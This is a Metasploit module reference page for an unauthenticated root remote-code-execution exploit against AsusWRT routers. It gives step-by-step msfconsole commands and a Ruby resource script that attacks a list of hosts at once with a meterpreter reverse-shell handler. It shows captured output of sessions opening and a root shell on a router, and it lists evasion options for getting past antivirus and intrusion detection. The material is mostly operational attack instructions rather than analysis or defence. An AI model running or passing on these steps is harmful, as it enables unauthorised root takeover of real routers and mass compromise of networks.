AsusWRT LAN Unauthenticated Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/asuswrt_lan_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: AsusWRT LAN Unauthenticated Remote Code Execution
Module: exploit/linux/http/asuswrt_lan_rce
Source code: modules/exploits/linux/http/asuswrt_lan_rce.rb
Disclosure date: 2018-01-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 9999
List of CVEs: CVE-2018-5999, CVE-2018-6000
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a POST in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the POST request to enable a special command mode. This command mode can then be abused by sending a UDP packet to infosvr, which is running on port UDP 9999 to directly execute commands as root. This exploit leverages that to start telnetd in a random port, and then connects to it. It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using asuswrt_lan_rce against a single host
Normally, you can use exploit/linux/http/asuswrt_lan_rce this way:
msf > use exploit/linux/http/asuswrt_lan_rce
msf exploit(asuswrt_lan_rce) > show targets
... a list of targets ...
msf exploit(asuswrt_lan_rce) > set TARGET target-id
msf exploit(asuswrt_lan_rce) > show options
... show and set options ...
msf exploit(asuswrt_lan_rce) > exploit
Using asuswrt_lan_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your asuswrt_lan_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/asuswrt_lan_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a vulnerability in AsusWRT to execute arbitrary commands as root.
Vulnerable Application
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a HTTP POST in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the POST request to enable a special command mode.
This command mode can then be abused by sending a UDP packet to the infosvr service, which is running on port UDP 9999 on the LAN interface, to launch the Telnet daemon on a random port and gain an interactive remote shell as the root user.
This module was tested successfully with a RT-AC68U running AsusWRT version 3.0.0.4.380.7743.
Numerous ASUS models are reportedly affected, but untested.
Verification Steps
- Start
msfconsole use exploits/linux/http/asuswrt_lan_rceset RHOST [IP]run- You should get a root session
Options
ASUSWRTPORT
AsusWRT HTTP portal port (default: 80)
Scenarios
msf > use exploit/linux/http/asuswrt_lan_rce msf exploit(linux/http/asuswrt_lan_rce) > set rhost 192.168.132.205 rhost => 192.168.132.205 msf exploit(linux/http/asuswrt_lan_rce) > run
[+] 192.168.132.205:9999 - Successfully set the ateCommand_flag variable. [] 192.168.132.205:9999 - Packet sent, let's sleep 10 seconds and try to connect to the router on port 51332 [+] 192.168.132.205:9999 - Success, shell incoming! [] Found shell. [*] Command shell session 1 opened (192.168.135.111:36597 -> 192.168.132.205:51332) at 2018-01-25 14:51:12 -0600
id id /bin/sh: id: not found / # cat /proc/cpuinfo cat /proc/cpuinfo system type : Broadcom BCM53572 chip rev 1 pkg 8 processor : 0 cpu model : MIPS 74K V4.9 BogoMIPS : 149.91 wait instruction : no microsecond timers : yes tlb_entries : 32 extra interrupt vector : no hardware watchpoint : yes ASEs implemented : mips16 dsp shadow register sets : 1 VCED exceptions : not available VCEI exceptions : not available
unaligned_instructions : 0 dcache hits : 2147483648 dcache misses : 0 icache hits : 2147483648 icache misses : 0 instructions : 2147483648 / #
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Msfconsole Usage
Here is how the linux/http/asuswrt_lan_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/asuswrt_lan_rce
[*] Using configured payload cmd/unix/interact
msf6 exploit(linux/http/asuswrt_lan_rce) > show info
Name: AsusWRT LAN Unauthenticated Remote Code Execution
Module: exploit/linux/http/asuswrt_lan_rce
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-01-22
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 AsusWRT < v3.0.0.4.384.10007
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9999 yes The target port (UDP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
The HTTP server in AsusWRT has a flaw where it allows an
unauthenticated client to perform a POST in certain cases. This can
be combined with another vulnerability in the VPN configuration
upload routine that sets NVRAM configuration variables directly from
the POST request to enable a special command mode. This command mode
can then be abused by sending a UDP packet to infosvr, which is
running on port UDP 9999 to directly execute commands as root. This
exploit leverages that to start telnetd in a random port, and then
connects to it. It has been tested with the RT-AC68U running AsusWRT
Version 3.0.0.4.380.7743.
References:
https://blogs.securiteam.com/index.php/archives/3589
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt
https://seclists.org/fulldisclosure/2018/Jan/78
https://nvd.nist.gov/vuln/detail/CVE-2018-5999
https://nvd.nist.gov/vuln/detail/CVE-2018-6000
Module Options
This is a complete list of options available in the linux/http/asuswrt_lan_rce exploit:
msf6 exploit(linux/http/asuswrt_lan_rce) > show options
Module options (exploit/linux/http/asuswrt_lan_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9999 yes The target port (UDP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 AsusWRT < v3.0.0.4.384.10007
Advanced Options
Here is a complete list of advanced options supported by the linux/http/asuswrt_lan_rce exploit:
msf6 exploit(linux/http/asuswrt_lan_rce) > show advanced
Module advanced options (exploit/linux/http/asuswrt_lan_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ASUSWRTPORT 80 yes AsusWRT HTTP portal port
CHOST no The local client address
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/asuswrt_lan_rce module can exploit:
msf6 exploit(linux/http/asuswrt_lan_rce) > show targets
Exploit targets:
Id Name
-- ----
0 AsusWRT < v3.0.0.4.384.10007
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/asuswrt_lan_rce exploit:
msf6 exploit(linux/http/asuswrt_lan_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/asuswrt_lan_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/asuswrt_lan_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to set ateCommand_flag variable.
Here is a relevant code snippet related to the "<PEER> - Failed to set ateCommand_flag variable." error message:
83: })
84:
85: if res and res.code == 200
86: print_good("#{peer} - Successfully set the ateCommand_flag variable.")
87: else
88: fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
89: end
90:
91:
92: # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
93: info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
<PEER> - Well that didn't work... try again?
Here is a relevant code snippet related to the "<PEER> - Well that didn't work... try again?" error message:
122: if not sock.nil?
123: print_good("#{peer} - Success, shell incoming!")
124: return handler(sock)
125: end
126: rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
127: sock.close if sock
128: end
129:
130: print_bad("#{peer} - Well that didn't work... try again?")
131: end
132: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #9441 Merged Pull Request: Create exploit for AsusWRT LAN RCE
References
- https://blogs.securiteam.com/index.php/archives/3589
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt
- https://seclists.org/fulldisclosure/2018/Jan/78
- CVE-2018-5999
- CVE-2018-6000
See Also
Check also the following modules related to this module:
- exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
- exploit/linux/http/zen_load_balancer_exec
- exploit/linux/local/hp_xglance_priv_esc
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/misc/erlang_cookie_rce
- exploit/multi/postgres/postgres_createlang
- exploit/unix/webapp/actualanalyzer_ant_cookie_exec
- exploit/unix/webapp/trixbox_langchoice
- exploit/unix/webapp/zoneminder_lang_exec
- exploit/windows/fileformat/galan_fileformat_bof
- exploit/windows/fileformat/videolan_tivo
- exploit/windows/http/hp_nnm_ovalarm_lang
- exploit/windows/http/landesk_thinkmanagement_upload_asp
- exploit/windows/http/novell_messenger_acceptlang
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/lotus/domino_http_accept_language
- exploit/windows/misc/borland_interbase
- exploit/windows/misc/borland_starteam
- exploit/windows/misc/landesk_aolnsrvr
- auxiliary/gather/browser_lanipleak
- auxiliary/gather/lansweeper_collector
- auxiliary/scanner/http/clansphere_traversal
- auxiliary/scanner/http/zenload_balancer_traversal
- auxiliary/scanner/telnet/lantronix_telnet_password
- auxiliary/scanner/telnet/lantronix_telnet_version
- post/multi/gather/wlan_geolocate
- post/windows/wlan/wlan_bss_list
- post/windows/wlan/wlan_current_connection
- post/windows/wlan/wlan_disconnect
- post/windows/wlan/wlan_probe_request
- post/windows/wlan/wlan_profile
Authors
- Pedro Ribeiro <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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